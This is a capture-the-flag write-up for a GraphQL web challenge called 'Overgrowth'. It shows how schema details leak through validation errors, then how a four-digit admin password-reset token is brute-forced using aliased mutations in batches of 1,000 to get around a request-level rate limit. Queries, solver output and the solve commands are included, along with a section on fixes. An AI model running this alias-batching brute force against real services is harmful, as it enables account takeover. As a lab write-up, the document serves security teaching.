Neven Marić
Hidden Investigations CTF 2026

WebHidden Investigations CTF 2026

Overgrowth

Overgrowth is a gardening-supply application backed by GraphQL. Introspection is disabled, but validation errors disclose enough of the schema to discover the admin account and password-reset mutations.

  • web
  • graphql
  • alias-batching
  • otp-brute-force
  • rate-limit-bypass
  • password-reset
  • schema-discovery

What this one teaches

  • GraphQL aliases let the same mutation field appear many times in one request — a four-digit reset token is brute-forced in ten batches of 1,000.
  • Disabled introspection is not schema secrecy: validation errors still disclose field names, argument types, and return types.
  • Rate limits that count HTTP requests rather than individual operations are ineffective against batched or aliased GraphQL queries.

Task description

Overgrowth is a gardening-supply API. The team swears it’s locked down for production. The flag is just a field - one that only the head gardener is allowed to pick.

1. Discover the API

The homepage and /shop link to /graphql. The shop explicitly documents POST /graphql; visiting it with GET opens an Ariadne GraphiQL explorer.

Requests use a JSON body containing query and, optionally, variables:

POST /graphql
Content-Type: application/json

{"query":"{__schema{queryType{name}}}"}

Introspection fails with:

Cannot query '__schema': introspection is disabled.

However, ordinary validation errors are still verbose. Probing guessed query fields reveals that user requires a username: String! argument and returns a User. Probing mutation names reveals:

Field 'login' of type 'AuthPayload' must have a selection of subfields.
Field 'login' argument 'username' of type 'String!' is required, but it was not provided.
Field 'login' argument 'password' of type 'String!' is required, but it was not provided.
Field 'resetPassword' argument 'username' of type 'String!' is required, but it was not provided.
Field 'resetPassword' argument 'token' of type 'String!' is required, but it was not provided.
Field 'resetPassword' argument 'newPassword' of type 'String!' is required, but it was not provided.

Additional validation probes identify requestPasswordReset(username: String!) and establish that it returns Boolean!. The relevant operations are:

query {
  user(username: "admin") { id username role email }
  me { id username role email }
  flag
}

mutation {
  requestPasswordReset(username: "admin")
  resetPassword(username: "admin", token: "0000", newPassword: "example")
  login(username: "admin", password: "example") {
    token
    user { id username role }
  }
}

These show the discovered operation shapes, not a full schema or an instruction to execute all three mutations together.

2. Confirm the Target Account

Without authentication:

{
  flag
  me { id username role email }
  user(username: "admin") { id username role email }
}

The response is:

{
  "data": {
    "flag": null,
    "me": null,
    "user": {
      "email": "admin@overgrowth.ctf",
      "id": "1",
      "role": "admin",
      "username": "admin"
    }
  },
  "errors": [{
    "locations": [{"column": 2, "line": 1}],
    "message": "authentication required: log in first",
    "path": ["flag"]
  }]
}

The location above corresponds to the original compact request. The important observations are that admin exists, has role admin, and the flag requires authentication.

3. Request a Reset and Batch Token Guesses

Generate a reset token for the target account:

mutation {
  requestPasswordReset(username: "admin")
}
{"data":{"requestPasswordReset":true}}

An incorrect token returns false, providing a success/failure oracle:

mutation {
  resetPassword(
    username: "admin"
    token: "0000"
    newPassword: "Overgrowth-ctf-solve-2026!"
  )
}
{"data":{"resetPassword":false}}

GraphQL aliases allow the same mutation field to appear multiple times with different arguments and separate response keys:

mutation($p: String!) {
  a0: resetPassword(username: "admin", token: "0000", newPassword: $p)
  a1: resetPassword(username: "admin", token: "0001", newPassword: $p)
  a2: resetPassword(username: "admin", token: "0002", newPassword: $p)
}

Each alias invokes a separate reset attempt. The accompanying variables are:

{"p":"Overgrowth-ctf-solve-2026!"}

Initial testing confirmed that 100 guesses could execute in one request. Repeated requests eventually produced HTTP 429:

{"errors":[{"message":"rate limit: too many password reset attempts; slow down"}]}

The working solver increases the batch size to 1,000 and waits 65 seconds when the request-level limiter rejects a batch. In the successful run, it waited once, then executed ten batches covering 0000 through 9999. No new reset was requested between batches, so they all tested the same token.

Rate limited; waiting 65 seconds
Checked 0000-0999; matches=[]
Checked 1000-1999; matches=[]
Checked 2000-2999; matches=[]
Checked 3000-3999; matches=[]
Checked 4000-4999; matches=[]
Checked 5000-5999; matches=[]
Checked 6000-6999; matches=[]
Checked 7000-7999; matches=[]
Checked 8000-8999; matches=[]
Checked 9000-9999; matches=['9628']

The successful response entry was a9628: true. This changed the admin password to the chosen value. The token 9628 was specific to this reset; a subsequent reset may generate a different token.

JSON-array batching was also tested and rejected with Operation data should be a JSON object. The exploit does not depend on that feature: it uses many aliases inside a single valid GraphQL operation.

4. Authenticate and Read the Flag

Log in with the new password:

mutation($p: String!) {
  login(username: "admin", password: $p) {
    token
    user { id username role }
  }
}

The returned user was:

{"id":"1","role":"admin","username":"admin"}

Use login.token in the next request:

POST /graphql
Content-Type: application/json
Authorization: Bearer <login.token>

{"query":"{flag}"}
{"data":{"flag":"hiCTF{graphql_al1as_batch1ng_brute_f0rces_the_0tp_64ea8caac6}"}}

Reproduction

The adjacent solve.py uses only Python’s standard library. From the workspace root, run:

python -I challenges/web_overgrowth/solve.py "https://overgrowth-5c829967b796.chall.hiddeninvestigations.net"

It requests one reset, tests zero-padded four-digit tokens in batches of 1,000, stops when a reset succeeds, logs in, and prints the flag. It retries HTTP 429 responses with a bounded delay and stops on other HTTP or GraphQL errors.

The exploit changes the challenge admin account’s password. To recheck access without issuing another reset after this solve:

python -I challenges/web_overgrowth/solve.py "https://overgrowth-5c829967b796.chall.hiddeninvestigations.net" --login-only

Both the full exploit and a subsequent login-only run were verified against the live instance.

Submission

The existing workspace submission helper submitted the recovered flag using the team’s configured platform authentication:

python -I submit_flag.py "495a8e65-d8b2-40cd-8299-50d62b3e1022" 'hiCTF{graphql_al1as_batch1ng_brute_f0rces_the_0tp_64ea8caac6}'

The platform accepted it:

{"kind":"goodFlag","message":"The flag is correct."}

Root Cause and Fixes

The decisive issue is a mismatch between the unit being rate-limited and the unit performing security-sensitive work. A single HTTP request can execute 1,000 password-reset checks. A four-digit token has only 10,000 possible values, so request-level limits do not adequately protect it.

  • Enforce a failed-attempt budget per account and reset challenge at the point where each token is checked, including aliased calls.
  • Invalidate reset challenges after a small number of failures and after use.
  • Use high-entropy, expiring reset tokens for link-based recovery; if numeric codes are required, enforce strict per-challenge attempt limits.
  • Apply GraphQL operation-cost and alias limits as defense in depth.
  • Do not treat disabled introspection as authorization or schema secrecy.
  • Restrict unauthenticated account-data disclosure where it is not needed.
The flagRevealhiCTF{graphql_al1as_batch1ng_brute_f0rces_the_0tp_64ea8caac6}

This CTF was possibly solved, and the writeup most likely written by an LLM. Apologies for inconsistencies.